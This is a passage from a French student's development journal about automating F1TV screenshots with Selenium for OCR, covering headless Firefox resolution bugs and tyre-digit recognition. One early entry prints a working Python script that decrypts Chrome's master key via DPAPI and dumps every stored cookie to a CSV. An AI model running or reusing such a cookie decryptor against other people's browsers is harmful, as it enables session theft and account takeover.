; FirefoxOptions options = new FirefoxOptions (); options . AddArgument ( \"--disable-headless\" ); var driver = new FirefoxDriver ( service , options ); driver . Navigate (). GoToUrl ( \"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\" ); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key def decrypt_payload ( cipher , payload ): return cipher . decrypt ( payload ) def generate_cipher ( aes_key , iv ): return AES . new ( aes_key , AES . MODE_GCM , iv ) def decrypt_password ( buff , master_key ): try : iv = buff [ 3 : 15 ] payload = buff [ 15 :] cipher = generate_cipher ( master_key , iv ) decrypted_pass = decrypt_payload ( cipher , payload ) decrypted_pass = decrypted_pass [: - 16 ] . decode () # remove suffix bytes return decrypted_pass except Exception : # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key () cookies_path = Path ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Default \\\\ Network \\\\ Cookies\" ) if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver . FindElement ( By . ClassName ( \"bmpui-ui-settingstogglebutton\" )); settingsButton . Click (); IWebElement selectElement = driver . FindElement ( By . ClassName ( \"bmpui-ui-videoqualityselectbox\" )); SelectElement select = new SelectElement ( selectElement ); IWebElement selectOption = selectElement . FindElement ( By . CssSelector ( \"option[value^='1080_']\" )); selectOption . Click (); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9.","title":"Vacances"},{"location":"jdb.html#lundi-24-avril-2023","text":"Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard.","title":"Lundi 24 Avril 2023"},{"location":"jdb.html#mardi-25-avril-2023","text":"Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble.","title":"Mardi 25 Avril 2023"},{"location":"jdb.html#26-avril-2023","text":"Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste.","title":"26 Avril 2023"},{"location":"jdb.html#jeudi-27-avril-2023","text":"C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite.","title":"Jeudi 27 Avril 2023"},{"location":"jdb.html#vendredi-28-avril-2023","text":"Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver (); // Navigate to the specified URL driver . Navigate (). GoToUrl ( \"https://www.example.com\" ); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver . Quit (); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat.","title":"Vendredi 28 Avril 2023"},{"location":"jdb.html#lundi-1-mai-2023","text":"Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings (); settings . CachePath = Path . Combine ( Environment . GetFolderPath ( Environment . SpecialFolder . LocalApplicationData ), \"CefSharp\\\\Cache\" ); // Set cache path settings . LogSeverity = LogSeverity . Disable ; // Disable logging Cef . Initialize ( settings ); // Initialize CEF using ( var browser = new ChromiumWebBrowser ( \"www.google.com\" , new BrowserSettings ())) // Launch Chromium in off-screen mode { browser . Load ( \"https://www.example.com\" ); // Navigate to the test URL browser . Size = new Size ( 1920 , 1080 ); // Set the browser size to 1920x1080 browser . ScreenshotAsync (). ContinueWith ( task => { var bitmap = task . Result ; bitmap . Save ( \"screenshot.png\" , System . Drawing . Imaging . ImageFormat . Png ); // Take a screenshot and save it as a PNG file }). Wait (); } Cef . Shutdown (); // Shutdown CEF Avec ca il faut ces using : using System ; using System.Drawing ; using System.IO ; using CefSharp ; using CefSharp.OffScreen ; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options . AddArgument ( \"--width=1920\" ); options . AddArgument ( \"--height=1200\" ); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca.","title":"Lundi 1 Mai 2023"},{"location":"jdb.html#mardi-2-mai-2023","text":"Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling.","title":"Mardi 2 Mai 2023"},{"location":"jdb.html#recrutement-payerne-mai-2023","text":"J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec.","title":"Recrutement Payerne Mai 2023"},{"location":"jdb.html#vendredi-5-mai-2023","text":"Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. 